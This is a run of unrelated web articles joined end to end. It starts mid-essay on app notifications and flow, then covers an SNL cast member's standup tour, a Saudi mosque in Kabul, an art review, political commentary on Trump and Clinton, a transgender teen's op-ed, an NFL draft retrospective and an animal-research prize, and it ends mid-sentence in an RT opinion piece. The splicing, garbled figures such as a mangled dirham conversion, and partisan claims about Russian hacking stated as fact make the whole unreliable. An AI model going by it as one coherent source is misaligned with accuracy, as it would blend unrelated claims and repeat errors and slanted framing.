Really trim it. I bet I’ll be in your app more, instead of being driven to it by the possible dopamine hit on the other side.  Instead I’m lost. More importantly I’m annoyed. My focus is sapped. I can’t get work done. Even a little bit of overspill of pointless events annoys me and makes my spam-dar go off. Stop doing it.  Parting Question: Is it possible to Design for Flow, Not Distraction?  To me one of the biggest antidotes to the candy-counter of ego-gratifying notifications are video games. Video games work very differently than most apps. They focus on flow. They calibrate the tasks and challenges carefully as to not overwhelm you. A good game combines an important goal, challenging tasks, and a sense of accomplishment.  To me video games have become a refuge for the sea of interruptions we find ourselves in. They train our brains back to a healthy task flow. I have no data to back this up, but I believe after an hour of gameplay I am more focus and goal oriented with my work than before. After a day of answering emails, being interrupted, being badgered by my devices I am able to relax and play through the game. Get to the next level. Move the ball forward.  Why aren’t normal apps more like games? Why do we design to bother people rather than help them get work done?  Perhaps more importantly, why aren’t our operating systems designed this way? Video games take over the whole screen to get you to that state of flow. Why do I have all these Windows each with an equal opportunity to bother me? If I was a woodworker and my hammer started buzzing to tell me something while my screwdriver did backflips because it wanted to tell me about a screw that needed tightening? I’d never get anything done.  I think this is the main reasons tablets are popular. With my iPad I use iOS’s settings to turn the notifications down to zero (still they sneak in on new apps; or apps which decided to add notifications). I’ve added a keyword. I sit in full screen mode. While I still check twitter and do other distracting activities, the full screen task-focused ability to consume and create is amazing.  I think this is also why the command line remains popular for programmers. Its task oriented. One serial line of thinking. One task to move the ball on. No gizmos, popups, or distractions.  I’m terrified of our Internet of Things future, not because of security issues, but because I don’t want my screwdriver connected to twitter. Focus is inherently unconnected and serial. Its flow.  My hope is we’ll begin to take focus & flow more seriously than reacting and raw information.
-Sasheer Zamata knows she’ll have her work cut out for her in the next few months.  The “Saturday Night Live” cast member will return for her third full season on the legendary late-night comedy show — although this year will be a bit different.  Along with losing cast members Taran Killiam, Jay Pharoah and Jon Rudnitsky, “SNL” will be cutting 30 percent of its commercials, allowing more time for more content.  “It will be exhausting I’m sure. It’s a lot to do every week and will mean more time at work and less time at home,” she said Tuesday afternoon by phone.  So how will she prepare for it? By heading out on the road to do standup comedy of course.  A mini-tour that has her performing seven shows in nine days stops Tuesday at The Milton Theatre. She will headline a night of laughs with local comedians Tom Sherman and Billy Peden and Philadelphia’s LaTice Klapa starting at 8:30 p.m.  The increased workload isn’t all bad. Doing standup and having more time with the show will allow her to get out what she’s been thinking about all summer.  “Whenever we’re off, things come to mind and then I think ‘Aww man.’ We can’t immediately talk about it when things happen. I have a hard time turning that part of my brain off. Now we’ll have more time to take advantage of it all,” she said.  It will be especially nice as the show heads into the homestretch of the presidential campaign.  “The show always gets a lot of attention in a political season. It’s such a politically driven show and we talk a lot about what’s happening of course and people will be watching to see what we’re going to do and say. That will be fun,” said the 30-year-old Indianapolis native, who was hired in the middle of the 2014-15 season to help add some diversity to the cast.  She has gone on to make a name for herself on the show, doing some memorable turns on “Weekend Update” and showing off impressions of such notables as Michelle Obama and singer Rihanna.  She has also appeared on Comedy Central’s “Inside Amy Schumer,” FX’s “Totally Biased with W. Kamau Bell” and on NPR’s “This American Life.”  Despite an already impressive comedy résumé, music was in the forefront when she was younger.  “I sang a lot growing up. I auditioned to be on my high school’s improv (comedy) team but it ran into show choir rehearsals so I had to drop it. Choir was always a priority whether it was in school or church. Even in college, I would end up doing more musicals than anything else,” she said.  “When I moved to New York after college, I thought I wanted to be a stage actor and I still might be. I would audition for plays but I kept seeing shows at UCB and started going in that direction.”  UCB, also known as Upright Citizens Brigade Theatre, is the one of the country’s leading improvisational comedy schools in the country, with locations in New York and California. Many past and current “Saturday Night Live” cast members are graduates and one of the school’s founders is “SNL” veteran Amy Poehler. Ms. Zamata still performs there regularly.  Her interest in comedy started in middle school as an avid watcher of shows like “SNL,” “Mad TV” and “Whose Line Is It Anyway?”  “In middle school we had a teacher who would take us to different improv shows and I always thought it would be cool to be on something like that but I never knew anyone from Indianapolis who went on to do that and didn’t necessarily think it was a viable career,” Ms. Zamata said.  The comedy bug continued in college and she went on to become a founding member of the University of Virginia’s improv comedy troupe, Amuse Bouche.  Graduating in 2008, it was off to New York where UCB took hold.  “I took a class to see what it was all about and got hooked immediately. I went through the whole program and made a home there and realized that comedy was where I was headed,” she said.  Her life as a standup comedian blossomed around the same time.  “Most of the other people who I was doing improv with at the time were scared to try it but I like trying scary things. I tried it and didn’t die and found it really fun and challenging. I had been performing a good amount of my life and here was this new skill that I needed to develop in writing jokes and getting what’s inside of my brain outside and making it all understandable,” she said.  The Milton audience will undoubtedly hear her takes on relationships, family and, as she puts it, “grace and society.”  Ms. Zamata heads back to ‘SNL’ the last week of September to get ready for its 42nd season. She says working on the show, with all of its late-night writing sessions, subsisting on takeout food and jockeying for laughs, is an experience like no other.  “You can’t be prepared for it because there isn’t any other show that works like that. The environment is unlike any other environment there is,” she said.  “You have to adjust quickly to it. This will be my third full season and fourth season overall and I think I have a better idea of how things work. But I still don’t know how everything works and I don’t think I’m supposed to know.”  She still gets butterflies when the red light goes on at 11:30 p.m. and thinks she should.  “It means that I care,” she said.  But she doesn’t concentrate on the estimated 6 million people who watch the show every week on TV.  “I’m used to performing in front of a live audience. So all I’m thinking about are those 150 people sitting in front of me. That’s a much easier way to think about it.  “I also look to the crew and the people around the set. They have seen so much comedy over the past decades. I kind of base my humor judgment on them. If they laugh, I know I’m OK.”  Tickets for Tuesday night’s show are in limited supply but available for $15 by visiting miltontheatre.com or by calling (302) 684-3038.  The theater is at 110 Union St. in downtown Milton.  More at Milton  Bringing a nationally known comedian like Ms. Zamata to Milton will not be a one-time thing if promoter Todd Lesser and Milton Theatre executive director Fred Munzert have anything to say about it.  “I moved to Rehoboth last year from Baltimore, where I book concerts and live events,” said Mr. Lesser of Monozine Presents Inc.  “I have family in Milton, who gushed about the theater. After seeing it and meeting Fred, I loved the concept of bringing some events in. I had worked with Sasheer last year and it went great, so in lieu of bringing her back to Baltimore, we brought it here to see how it would do.”  “So far we’re very excited to see how it turns out and will hopefully bring more to town. With local support, this area and especially that room, has amazing potential for more.”  Fulkerson Fest IV  Fulkerson Fest IV, in memory of the late local musician Steve Fulkerson, will be held Sunday at 4 p.m. at Seafood City in Felton.  Proceeds raised will toward music lessons, rock camp and school music lessons for kids.  The day will include NFL tickets for raffle, Chinese auction items, 50/50 a moon bounce and face painting.  Items from Dover Homebrew, Bow Wow petique, Dynamic Dips and signed items by Deep Purple will also be up for grabs.  The event will also be livestreamed on Facebook.  The music will kick off at 4 p.m. with Jordan Amado followed by Hoochi Coochi, Kyle Offidani, The Blues Reincarnation Project and The Joey Fulkerson Trio with Tommy Alderson.  Seafood City is at 9996 S. DuPont Highway in Felton.  Kent arts funding  The Kent County Fund for the Arts recently awarded $21,300 in grants to 13 local arts programs in Kent County.  This year’s recipients were: Biggs Museum of American Art, CERTS Inc., Delaware Choral Society, Delaware Friends of Folk, Dover High School, Dover Public Library, Dover Symphony Orchestra, Inner City Cultural League, Mispillion Art League, Schwartz Center for the Arts, Delaware Children’s Theater, VSA Delaware and Wesley College.  The Kent County Fund for the Arts is a fund of The CenDel Foundation, in partnership with the Delaware Community Foundation.  For information, call 724-7538 or visit www.cendel.org.  Symphony signs Amado  It was announced this week that The Delaware Symphony Association and music director David Amado have entered into a new agreement that will extend through the 2022-2023 season.  That season will mark Mr. Amado’s 20th anniversary as music director of the Delaware Symphony Orchestra.  Mr. Amado was named music director of the Delaware Symphony beginning with the 2003-2004 season.  The orchestra will open its 2016-2017 season with a Sept. 23 Classics Series concert conducted by Mr. Amado in Copeland Hall at The Grand Opera House in downtown Wilmington.  The program features violinist Jaime Laredo and cellist Sharon Robinson performing André Previn’s Double  Concerto, a work he wrote for Mr. Laredo and Ms. Robinson. Mr. Previn will attend the performance and receive the DSO’s 2016-2017 Season A. I. du Pont Composers Award. The concert will conclude with Symphony No. 5 by Gustav Mahler.  Single tickets for this performance are available through The Grand Opera House Box Office at 818 N. Market St. or by calling (302) 652-5577, or by purchasing at www.ticketsatthegrand.org.  Now showing  New this weekend in theaters is a remake of “Ben-Hur,” Jonah Hill in the comedy-drama “War Dogs” and the animated family film “Kubo the Two Strings 3D.”  On DVD and download starting Tuesday is Chris Hemsworth in “The Huntsman: Winter’s War,” Ryan Gosling and Russell Crowe in the suspense comedy “The Nice Guys” and the animated “Ratchet and Clank.”  Reach features editor Craig Horleman at chorl@newszap.com
-Riyadh Saudi Arabia is funding a $100m (Dh367,300 million) mosque and Islamic education centre in Kabul that will teach thousands of students a year and help bolster Saudi influence in Afghanistan as the west withdraws.  Work on the sprawling 30-hectare hilltop complex is due to be completed by early 2016, when Afghan security forces will likely be trying to hold off the Taliban with little Nato support.  “This Islamic centre has several aims, one is to ensure good relations between Afghanistan and Saudi Arabia,” said the acting Saudi minister of Haj and Islamic affairs, Dr Dayi Al Haq Abed.  Afghanistan’s neighbours and allies have been jostling for power in the country for years; spending millions of dollars on aid, education, TV and radio channels.  Efforts to secure a stake in Afghanistan’s future are intensifying with the 2014 Nato withdrawal deadline looming, and a presidential election to chose the first new leader in more than a decade set for April that year.  But Abed said the centre was a decade-old project conceived by Saudi Arabia’s late King Fahd Bin Abdul Aziz, not a hasty effort to bolster the state’s role in Afghan affairs.  “It’s not a political centre, its an independent centre,” he told the Guardian. “This centre will never try to work against the interests of Afghanistan or Saudi Arabia. It is firstly a place for prayer and secondly for education.”  A university with a library, lecture halls, gym and dormitories for 5,000 students will sit on a hill overlooking Kabul, next to the tomb of the last Afghan king, Mohammad Zahir Shah. The nearby mosque will hold up to 15,000 worshippers, making it one of the largest in the country.  Saudi Arabia has been one of the key players in the turbulent decades since the Soviet invasion at the end of 1979, influencing both religion and politics in Afghanistan.  After the rise of the Taliban, Saudi Arabia was one of only three countries to recognise the hardline regime, but since its fall in 2001 it has remained a generous donor to the western-backed government of Hamid Karzai. More recently it helped lay the groundwork for efforts to negotiate an end to the war. Saudi diplomats have kept a lower profile than others though.  The new centre will likely have a large pool of applicants. Religious schools mostly funded by private individuals and Saudi institutions have spread the kingdom’s strict Wahhabi branch of Islam inside Afghanistan and Pakistan and all Afghans hope to travel there on the hajj pilgrimage at least once in their lifetime.  The Afghan government has donated the land, and basic engineering work is already completed. A joint committee of Saudi diplomats and Afghan officials from the ministry of Islamic affairs will oversee the centre once it is up and running.  “Its a big achievement for the Afghanistan government and the ministry of hajj and Islamic affairs,” Abed said, adding that he hoped it would pave the way for more Afghan students to further their education in Saudi Arabia.
-Guest post by artist Aaron Dysart:  Karl Unnasch’s The Ruminant (The Grand Masticator) towered like an odd cathedral in the cornfield — it’s fitting that a pilgrimage was required to view the work. Reversing the historical course of a serf’s travel to the city for the sake of a sacred spectacle, this required a journey, leaving the urban behind for the rural, for renewal. The Ruminant was made for the Farm D-tour — on view as part of The Wormfarm Institute’s Fermentation Fest in Reedsburg, Wisconsin from October 4 to 13. Unnasch’s monumental piece mashes up the histories of stained glass, comic books and farm machinery to create a funny, expansive re-telling of the harvest narrative.  Stained glass calls to mind houses of worship, often depicting saints and martyrs alongside the instruments of their torture and execution. Without sacrificing a reverence for that material, The Ruminant swaps in comic book references, both familiar and obscure, for those heroes of Christianity. Batman takes a knee while tending to a cabbage patch under a victory garden sign; another panel features little known comic hero Tony Chu, an FDA agent who empathically understands the whole life of things he eats. In turning saints to superheroes, Unnasch shows us the echoes connecting them, recalling Joseph Campbell’s hero with a thousand faces.  Smaller stained panels are placed on the head of the combine, the section of machine that reaps the corn and funnels ears into the machine. These panels each contain a central image of a hand tool, a nod to what the modern combine has replaced. Indeed, harvest time is inextricable from death, whether plant or animal: one organism survives by killing, and eating, another. Unnasch’s hand-tools aren’t just nostalgic images, they bring a measure of honesty to his representation of the reaping. The sharp angles of the panels, not to mention the sharp blades of the tools, highlight a sinister undercurrent to the machine’s operations referencing the savage foundation of our seasonal bounty.  There are such subtle story-lines throughout the piece. On the right side of the cab are a series of images: the first panel features a small image of a termite; the middle panel depicts a child eating crayons, and the last (at the front of the cab) shows a mustached man eating an ear of corn. Decoded: the termite “harvests” as it eats its surroundings; a small child mouths things as a way to understand and explore; and, after tens of thousands of years, humans finally figured out how to effectively combine the two impulses in the act of tending crops. Read from left to right the series gets further and further from direct interaction with one’s surroundings. More intriguing, when read from right to left the viewer gets more and more uncomfortable as it transitions from a normal meal, to a parent’s concern of germs, ending in the disgust that insects bring.  On the body of the harvester, there are images of vegetables with witty sayings and puns. The background of these panels, with their flowing arcs of color, add a sense of motion to the static machine and the little vignettes serve to propel the viewer around the work, but these one-off panels never quite rise above kitsch. They certainly don’t operate at the same level as the artist’s more complex layered sequences of narrative panels at the sides and front.  Nit-picking aside, the gleeful mixing of material and cultural references in Unnasch’s The Ruminant (The Grand Masticator) adds up to something gloriously unexpected — work that at once respects and stretches its appropriated references and their attendant histories.  The spectacle of the piece — and the pilgrimage necessary to see it — was disarming and effective. As viewers drove up, they had to stop and disembark from their cars, they had to leave the asphalt of the city behind and step onto the field to see the work.  About the author  Aaron Dysart is a sculptor who seeks to understand his place as an animal in the natural system. He currently lives and works in Northeast Minneapolis and is an adjunct professor at Anoka Ramsey Community College.  Viewfinder posts are your opportunity to “show & tell” about the everyday arts happenings, interesting sights and sounds made or as seen by Minnesota artists, because art is where you find it. Submit your own informal, first-person responses to the art around you to editor(at)mnartists.org, and we may well publish your piece here on the blog. (Guidelines: 300 words or less, not about your own event/work, and please include an image, media, video, or audio file, and one sentence about yourself.)
-Wanted: A name for the hypertrophied fear of Trump that’s overcome so many — maybe most — of his opponents. Do you really need examples? There was the ThinkProgress editor terrified of his plumber:  He was a perfectly nice guy and a consummate professional. But he was also a middle-aged white man with a Southern accent who seemed unperturbed by this weeks news. … I couldn’t stop thinking about whether he had voted for Trump, whether he knew my last name is Jewish … I couldn’t shake the sense of potential danger. I was rattled for some time after he left.  More recently, here’s Adam Gopnik in one of those New Yorker paragraphs so classily convoluted you don’t notice the embedded hooey:  Assaults on free speech; the imprisoning of critics and dissidents; attempts, on the Russian model, likely to begin soon, to intimidate critics of the regime with fake charges and conjured-up allegations; the intimidation and intolerance of even mild dissidence (that “Apologize!” tweet directed at members of the “Hamilton” cast who dared to politely petition Mike Pence); not to mention mass deportations or attempts at discrimination by religion—all things that the Trump and his cohorts have openly contemplated or even promised—are not part of the normal oscillations of power and policy. They are unprecedented and, history tells us, likely to be almost impossible to reverse. … [**]  The best way to be sure that 2017 is not 1934 is to act as though it were.  Of course, you don’t need these examples if you have Democratic Facebook friends. Just read their posts — alarms about journalists jailed and killed, brownshirts, ethnic cleansing, pervasive surveillance, people living in fear, exterminationist violence, the whole nein yards. They’re scared.  The thing is, they’re not poseurs — they’re sensible citizens. They are, many of them, my friends. They’re in no way ignorant. That’s why the dismissive label “Trump Derangement Syndrome” doesn’t seem an accurate description (in addition to being belittling and ineffective). If they see the seeds of authoritarianism in Trump’s “Hamilton” tweet — or more plausibly in his suggestion that he might pick and choose which reporters can attend briefings … well, sure. Those are seeds. There’ve been seeds before, of course. There were the seeds of authoritarianism in Truman bullying a press critic who panned his daughter’s singing. There were more than seeds in Roosevelt’s NRA, in Nixon’s wiretapping and J. Edgar Hoover’s longrunning COINTELPRO surveillance and harrassment of dissenters.  It’s not deranged to extrapolate from seed to tree, and to worry that the relative handful of alt-righters (50,000 ?) and smaller handful of anti-Semitic trolls (1,600?) might produce something very bad. You can imagine a world where Jews are attacked by their plumbers. My mother grew up in such a world (Frankfurt, Germany in 1933) and I’m here because her parents had the good sense to flee.  It’s thinking that such development–from seed to tree–is at all likely today that seems … well, wrong. Let’s call it wrong! We have strong counter-majoritarian institutions (including an independent judiciary) and a culture that supports them. The idea that Trump is going to mobilize some army of thuggish supporters to intimidate the press, the courts, the opposition party and half of his own party seems a fever dream, no less feverish because of its rational basis.  Yet those who adhere to this unnamed tendency — let’s call it ’34ism, unless you can come up with a better name *** –allow the power of their terrifying dream to overwhelm sober consideration of everything Trump does or intends to do, good or bad. We’re supposed to draw up sides — condemning (and ostracizing) those who are “complicit” in Trump’s administration and welcoming those who “stand on the right side of history” — even before we know whether the authoritarian seed will grow or wither, disregarding all the other positively auspicious seeds (reform of trade, control of borders, fewer foreign military adventures, ending the Republican threat to Social Security and Medicare, etc.) that might flourish instead. In Slate 34ist Yascha Mounk’s head it’s practically Life During Wartime already, with brave Trump critics fired from their jobs, sleeping on the couches of their secret colleagues in the Resistance. Keep the car running.  Suggested alternative: See what happens first! Don’t let the reaction to Trump be dominated by one extremely unlikely bad possibility, at the expense of nurturing the far-more-likely good possibilities.  Coming in next post: How does 1934ism go away? Is it enough that the brownshirts don’t appear? (Spoiler: Maybe not.)  __________  **– The Hooey: Gopnik says authoritarian measures against critics “are unprecedented and, history tells us, likely to be almost impossible to reverse.” This is fatuous on both counts. 1) Even direct assaults on free speech are far from unprecedented –e.g. the Sedition Act of 1798, passed not too long after our nation’s founding, or the imprisonment of Eugene Debs for opposing World War I. 2) They also haven’t been that hard to reverse. The Sedition Act was repealed in Thomas Jefferson’s term expired in 1801 after Jefferson campaigned against it and the House voted down an attempted renewal. It’s highly doubtful that Debs could be imprisoned under current First Amendment law — the opposite of what Gopnik declares “history tells us”.  *** — Better name ideas appreciated — just put them in the comments section below, or tweet them to @kausmickey. Thanks.
-My name is Pax Enstad, and I’m a high school junior, a son, a brother and a friend.  I’m also a transgender boy. When I tell people this, it seems like everyone wants to know: What’s the precise moment when you realized you are transgender?  The thing is, there was no single moment, no bolt of lightning that suddenly hit me. It was more of a process of admitting who I am to myself.  When I hit puberty, I felt really gross and unhappy with my body. I stopped swimming and doing things outside, and started wearing baggy shirts. I asked my parents for a chest binder, but I didn’t tell them it was to flatten the breasts I was getting. My body was a thing that I tried to forget about.  I’m close with my sister, Maya, who is two years older and in college now. When we realized we both liked girls, we decided to come out to our parents together. On the day that same-sex marriage became legal nationwide, Maya and I bought rainbow balloons and streamers. We went to the Pride parade with our parents and afterward, we gave them a rainbow card that said, “We’re gay.”  I had yet to confront my own fear of being transgender. I thought, maybe all these feelings will go away, but they didn’t. Existing in a body that didn’t feel like mine became increasingly unbearable. Gender dysphoria is the clinical diagnosis, and the distress it caused me was severe; I panicked when I didn’t have my chest binder on. I put off telling my parents about my being transgender. I was embarrassed about it, and didn’t want to say anything until I was totally sure. By the time I finally told them, I knew I needed to have surgery to confirm the gender identity I’ve had all along.  What had been a years-long process for me was for my parents a sudden revelation. They love me and have done their best to be supportive of me. But PeaceHealth, my mom’s employer, refused to pay for the chest reconstruction surgery my doctor prescribed to treat my gender dysphoria, citing an exclusion for “transgender services.” It felt terrible to know that PeaceHealth, a nonprofit health care system, had decided that transgender people like me don’t deserve coverage for the same double mastectomy surgeries it will cover for others. It was treating essential treatment as something frivolous.  The possibility that PeaceHealth’s refusal to cover my surgery might lead to a delay in me receiving the surgery made me extremely anxious and desperate. I told my parents I could not wait. They could see this was not about making a “choice” to have surgery – this was something I needed to be me. To come up with the $10,000 to pay for it, my parents dipped into my college fund and took a second mortgage on our house.  After I had chest reconstruction surgery, I felt like a huge weight had been lifted.  After I had chest reconstruction surgery, I felt like a huge weight had been lifted. It was also literally true; I had lost six pounds. I felt so light and amazing. The relief was immediate, like, ‘Oh finally, that’s over!’  I went to homecoming with my best friend and was able to wear boys’ shirts I couldn’t wear before. I looked dapper and I felt proud.  But I’m still devastated by the fact that simply because I’m transgender I was refused coverage for the medical care that my doctor prescribed for me. With the help of the ACLU, we’re bringing a lawsuit against PeaceHealth because no one should be refused care because of who they are.  Gender dysphoria is real and serious. If left untreated, it can have terrible consequences, including suicide. Surgeries like the one I had are recognized as medically necessary treatment by every major medical association in America. Ensuring that transgender people get the health care they need will help save lives.
-http://gty.im/488840241  What Could Have Been If We Took Allen Robinson Over Eric Ebron In 2014.  With Allen Robinson coming back to his hometown of Detroit for the first time on Sunday I felt it appropriate to take a look back to 2014, and how close the Lions actually came to bringing him home long term. Prior to the 2014 draft I was one of the highest people out there on Allen Robinson despite the many criticizing his lack of breakaway speed. When the Lions took Ebron in the first round however, those hopes of drafting him were almost completely dashed when you combine that selection with the recent addition of Golden Tate in free agency and Calvin Johnson still looking as incredible as ever.  The front office went on to sell Ebron as their first choice all through the process, but that was not necessarily the case. Martin Mayhew throughout his time as Lions GM had multiple plans going at all times with his wheeling and dealing nature and those decisions could have had massive impacts on the franchise going forward. Lets examine a couple of those moves that almost were:  The First Round Tango  The 2014 draft was a fairly aggressive year for first round trades and the Lions were by no means out of this discussion. Since Terryl Austin was coming into town with the new coaching staff and wanted to use multiple defensive looks, the Lions absolutely needed to upgrade on that side of the ball. Namely at the linebacker position. Enter Anthony Barr. Lions fans all know him quite well now as one of the better versatile linebackers in the game today and defensive captain as the Minnesota Vikings, but he almost was the Lions starting middle linebacker.  While many get (maybe rightfully) frustrated that OBJ or Aaron Donald didn’t end up as a Lion, Barr going to a division rival was the real gut shot to Detroit due to the need they had for a player like him in their defence. The Vikings felt they were a sure lock to get him to the point that they actually traded down a spot with the browns to pick up extra resources in later rounds. What they may not have known though is that there was almost a deal that would have lost them out on their guy as it is rumoured that Mayhew was in talks with both the Falcons and Browns to trade up to either the number 3 or 6 spots.  The original talks for the number three spot fizzled rapidly once several teams entered the trade talks. The Bills ended up being willing to give up far more then the Lions were comfortable with for either Sammy Watkins or Khalil Mack, both early targets for Detroit. That led to the Lions plan B discussions with the Falcons at the number 6 overall pick. The Falcons were locked in on going for a tackle early but there was a split opinion on whether to go with the steady Jake Mathews or gritty Taylor Lewan.  At the point where the Falcons war room was almost content with either. This opened the option that they could make a trade down, as several of the next teams behind them (namely Cleveland and Minnesota), had no percieved need at the tackle position and Detroit was in on fairly deep discussions into that trade possibility. There are dissenting thoughts on what exactly was offered but it generally revolves on two day three selections and a day two pick the following year. The conversations fell apart however once the falcons held firm on the need for either a third round pick in 2014 plus some slight pick increases in the third rounders or a first rounder the following year.  Considering the Lions ended up giving up their 4th and 7th (with a 5th in return) to move up for Van Noy later on it brings up an interesting proposal. If the Lions did go through with the Falcons more likely request, lets say for the sake of argument it would have resulted in dealing the 3rd, 4th, and 6th round picks of 2016 (Travis Swanson, *dealt to SEA then to CIN resulting in Russel Bodine, and TJ Jones) as well as Eric Ebron who the Lions would have lost out on through dealing the 10th overall pick.  Second Round Ramifications  So where does Allen Robinson fit into this discussion? Well the Lions still would have had the need for a big Y-type receiver that could go deep without Ebron on the roster any longer, and Robinson was seen in the organization as the next best thing. While true he isn’t a tight end, Ebron is not necessarily a tight end either, and Joe Lombardi could accommodate a more early Sean Payton offense that had a lot more three wide receiver looks. The home town boy was seen as the natural plan B if Ebron was not the selection in the first round, due to his bigger frame and pre draft comparisons to Anquan Boldin.  Further, he would have been well within the Lions 45th overall original second round draft slot, going 61 overall to Jacksonville with many other highly praised college recievers in the second round mix pushing him and others like Jarvis Landry with some minor knocks down. Therefore if the Lions decided to go with the Falcons Barr trade in the first, Robinson was their second round pick.  Who’d you Rather Have?  Now of course I realize hindsight is 20/20. We will never know for sure how big of a possibility this actually was, but it brings around an interesting dilemma for Lions fans and which of the two options is better three years out if this scenario came true. Especially considering the late round guys the Lions would have lost out on (Nate Freese, Caraun Reid, and T.J. Jones) did not end up being significant contributors. The discussion really comes down therefore to which you would rather have: Eric Ebron and Travis Swanson, vs. Anthony Barr and Allen Robinson.  An above average to top end tight end and a potential long term top 5-10 center, or a potential long term top 5-10 linebacker, and wide reciever. While both the Lions that never were, had hot starts to their careers, they have tempered off in performance slightly this season (both due to individual play and situation). The Lions of the present have both been rapidly improving and growing as players. At this point fans might lean towards the what could have been (center is never the sexiest position and everyone loves the big names), but I think the jury is still out on this decision. Regardless they are all great pros and we should see where these guys end up down the road.
-Vice President Joe Biden has to get into the Democratic presidential race to prevent Vermont Sen. Bernie Sanders from winning the nomination, political strategist Dick Morris toldon Thursday."I don't think there's any possibility that they will not let him run," Morris said of party officials in an interview with "Newsmax Prime" host J.D. Hayworth."If he doesn't run, Bernie Sanders can beat Hillary [Clinton] and be the Democratic nominee — and that would be just unbelievably bad for the Democrats."Watch Newsmax TV onandGet Newsmax TV on your cable system —Morris is the co-author of The New York Times best-selling book,He added that Republican front-runner Donald Trump could end up on the better end in his battle with Fox News and chairman and CEO Roger Ailes."It'll hurt Fox. I don’t think it will hurt Trump," Morris said. "Fox is going to have to cover Trump as part of the news — and if they don't, nobody's going to watch their news."I believe that Fox is in the tank for Bush," he added, referring to former Florida Gov. Jeb Bush. "Roger Ailes was really [George H.W.] Bush's mentor and guide in politics."Morris worked with Ailes on the elder Bush's campaign against former Massachusetts Gov. Michael Dukakis' campaign in 1988."I do not think they would have let Megyn Kelly open their debate unloading on Trump if they were not trying to dampen Trump and bolster Bush," Morris said.
-The National Centre for the Replacement, Refinement and Reduction of Animals in Research (NC3Rs) is a primarily UK Government-funded organisation which works in collaboration with scientists and research institutions “driving and funding innovation and technological developments that minimise the need for animals in research and testing, and lead to improvements in welfare where animals continue to be used”. They are the largest institution in the UK dedicated solely to developing and promoting the 3Rs, with Government funding of over £8 million.  Today they announced the winners of the 2015 international 3Rs prize, for the best papers developing an aspect of the 3Rs. There were two research papers jointly awarded the top prize. The first of the prizes was awarded to Dr Madeline Lancaster from the MRC Laboratory of Molecular Biology, for a paper (1) describing a 3D model of the embryonic human brain made from stem cells. This is the first time the early development of the human brain has been able to be modelled in vitro, and may help replace some animal studies when studying neurological diseases such as Alzheimer’s. Watch the Tedx talk by Dr Lancaster below:  The second joint-winner was to Dr Laura Hall, from the University of Stirling, for her paper (2) on improving techniques for oral dosing in dogs, carried out with the support of AstraZeneca. The paper laid out a framework for assessing the welfare of lab animal dogs undergoing oral dosing based on their behaviour, health and psychological well-being. According to NC3Rs:  The framework was used to validate a refined procedure for administering substances to dogs during the testing of new drugs. Gavage – the use a thin tube temporarily inserted into the stomach via the mouth – is a common procedure for delivering drugs and this work has the potential to minimise stress in thousands of dogs used in testing worldwide.  Around 4,000 procedures on dogs are carried out in the UK each year (around 0.1% of the total), these are mainly for safety testing, with oral dosing being one of the more common procedures. Therefore, Dr Hall’s work has the potential to improve the welfare for many of these animals. Dr Hall has promoted her techniques through her Refining Dog Care website.  A third prize, for a highly commended paper, was awarded to Dr Hayley Francies, from the Wellcome Trust Sanger Institute, for her work (3) showing that colorectal cancer organoids from a biobank reflected the molecular features from the original tumour and could be used to test drugs. Such organoids have the potential to reduce the use of animals in cancer research.  Dr Francies said:  We hope this work will support the utility of organoids in drug development where organoid cultures could help bridge the gap between cell lines and rodent models by encompassing aspects of the tumour complexity generally found only in in vivo systems.  Such 3Rs work plays an important part in improving the way we conduct biomedical research worldwide. The NC3Rs prize aims to promote the 3Rs and recognise those whose research could help animal welfare by improving the way such research is conducted, or even replacing the use of animals in certain areas.  Speaking of Research  (1) Lancaster M et al. (2013). Cerebral organoids model human brain development and microcephaly. Nature 501(7497): 373-9 doi:10.1038/nature12517  (2) Hall LE, Robinson S, Buchanan-Smith HM (2015). Refining dosing by oral gavage in the dog: A protocol to harmonise welfare. Journal of Pharmacological and Toxicological Methods 72: 35-46 doi:10.1016/j.vascn.2014.12.007  (3) van de Wetering M, Francies HE, Francis JM et al. (2015). Prospective Derivation of a Living Organoid Biobank of Colorectal Cancer Patients. Cell 161(4): 933-45 doi.org/10.1016/j.cell.2015.03.053
-Robert Bridge is an American writer and journalist. Former Editor-in-Chief of The Moscow News, he is author of the book, 'Midnight in the American Empire,' released in 2013.  Show me an American Neocon today and I will show you a pro-Clinton supporter. In fact, it is indicative of Hillary Clinton's particular brand of foreign policy that Republican hawks have fled the GOP standard to join ranks with the warmongering Democrats.  In order to guarantee another 4-8 years of US-led military aggression in the Middle East, and heightened tensions with Russia and China (all of which translates into lucrative defense spending), the Neocons have found it necessary to drag Russian President Vladimir Putin into the 2016 presidential race as a means of deflecting attention away from a devastating series of leaked emails, courtesy of Julian Assange of WikiLeaks, that portray Clinton and her campaign team in less than glowing terms.  The latest Neocon to grease the wheels of Clinton's War & Wall Street political machine is Madeleine Albright, 79, the former US Secretary of State, who is perhaps most famous for two quotes, "What's the point of having this superb military... if we can't use it?" And second, when asked in a 1996 interview with the news program 60 Minutes if the price of UN sanctions against Iraq - which was half a million dead Iraqi children - was worth it, Albright unhesitatingly responded, "We think the price is worth it."  Albright opened her opinion piece in USA Today with a wicked curve ball: "Democrats have been renewing their call this week for the FBI to release more information on the connections among Donald Trump, his top advisers and the Russian government. But it is already clear that Russia's intervention in our election on Trump's side is the real scandal of 2016... "  Albright attempts to control the narrative, not to mention the history books, by instructing the reader that Russia's (unproven) intervention in the 2016 presidential election is the "real scandal" of the year, as opposed, of course, to Julian Assange's torturous, slow-drip outing of Hillary Clinton and her mind-boggling list of 'poor decision-making.'  "The Russian government has already hacked into the emails of the Democratic National Committee and Hillary Clinton campaign chairman John Podesta in an effort to create confusion and turn voters off from politics," Albright wrote, essentially telling Americans 'nothing to look at here, please move on.'  Nowhere does Albright question the contents of the emails. This deliberate and glaring oversight explains why Albright and her fellow Neocons found it so necessary to drag Russia into this scandal. The allegations contained in the WikiLeaks emails are so potentially damaging to Clinton's chances at the White House that they required a diversion as large as Russia to conceal them.  Yet, even the FBI admits there is no convincing evidence linking the leaked emails as an effort by Russia to boost Trump's victory chances on Nov.8th. And judging by the tarnished reputations of the Republican and Democratic contenders, it should come as no surprise that Russia has no clear favorite in this American dog race, which make the hacking charges against Moscow all the more ridiculous.  But all this misses the main point, indeed as it is cunningly designed to do. With all of the spin going on, can anybody still recall what the released Clinton emails revealed?  Read more  Briefly, the leaked documents revealed that the Democratic National Committee (DNC) had colluded with the Clinton campaign to ensure Hillary Clinton received the nomination ahead of other potential candidates, including the popular Bernie Sanders. That damning revelation led to the ouster of DNC chief Debbie Wasserman Schultz.  The Russians clearly had nothing to do with that.  Second, the woman who replaced Schultz, Democratic strategist and former CNN 